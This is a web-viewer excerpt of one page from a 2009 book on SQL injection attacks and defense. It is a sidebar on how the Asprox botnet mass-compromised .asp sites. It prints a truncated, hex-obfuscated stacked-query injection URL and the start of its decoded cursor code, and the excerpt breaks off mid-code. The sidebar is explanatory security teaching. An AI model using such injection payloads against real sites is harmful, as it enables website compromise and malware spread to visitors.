28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Testing for <strong>SQL</strong> <strong>Injection</strong> • Chapter 2 77<br />

Notes from the Underground…<br />

Use of <strong>SQL</strong> <strong>Injection</strong> by the Asprox Botnet<br />

A botnet is a large network of infected computers normally used by criminals <strong>and</strong><br />

organized crime entities to launch phishing attacks, send spam e-mails, or launch<br />

distributed denial of service (DoS) attacks.<br />

Newly infected computers become part of the botnet which is controlled by a<br />

master server. There are several modes of infection, one of the most common being<br />

the exploitation of Web browser vulnerabilities. In this scenario, the victim opens a<br />

Web page served by a malicious Web site which contains an exploit for the victim’s<br />

browser. If the exploit code is executed successfully the victim is infected.<br />

As a consequence of this method of infection, it is not a surprise that botnet<br />

owners are always looking for target Web sites to serve their malicious software.<br />

The Asprox Trojan was primarily designed to create a spam botnet dedicated to<br />

sending phishing e-mails. However, during May 2008 all the infected systems in the<br />

botnet received an updated component in a file called msscntr32.exe. This file is an<br />

<strong>SQL</strong> injection attack tool which is installed as a system service under the name of<br />

“Microsoft Security Center Extension.”<br />

Once the service is running, it uses the Google search engine to identify potential<br />

victims by identifying hosts running .asp pages with GET parameters. The infecting<br />

code terminates the current statements <strong>and</strong> appends a new one as you just saw in this<br />

chapter. Let’s have a look at the infecting URL:<br />

http://www.victim.com/vulnerable.asp?id=425;DECLARE @S<br />

VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542056415243<br />

<br />

434C415245202075F437572736F72 AS<br />

VARCHAR(4000));EXEC(@S);-- [shortened for brevity]<br />

The following is the unencoded <strong>and</strong> commented code that performs the attack:<br />

DECLARE<br />

@T VARCHAR(255), /* variable to store the table name */<br />

@C VARCHAR(255) /* variable to store the column name */<br />

DECLARE Table_Cursor CURSOR<br />

/* declares a DB cursor that will contain */<br />

FOR /* all the table/column pairs for all the */<br />

Continued

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!